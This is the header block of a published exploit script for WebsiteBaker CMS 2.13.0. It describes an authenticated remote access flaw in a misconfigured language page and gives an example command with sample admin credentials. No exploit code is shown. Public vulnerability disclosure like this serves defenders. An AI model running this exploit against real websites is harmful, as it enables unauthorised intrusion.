# Date: 18-09-2021
# Exploit Author: Halit AKAYDIN (hLtAkydn)
# Vendor Homepage: https://websitebaker.org/
# Software Link: http://wiki.websitebaker.org/doku.php/en/downloads
# Version: 2.13.0
# Category: Webapps
# Tested on: Linux/Windows

# WebsiteBaker Open Source Content Management
# Includes an endpoint that allows remote access
# Language page misconfigured, causing vulnerability
# User information with sufficient permissions is required.
# I had to write a long script to bypass some security measures.

# Example: python3 exploit.py -u http://example.com -l admin -p Admin123
#       python3 exploit.py -h
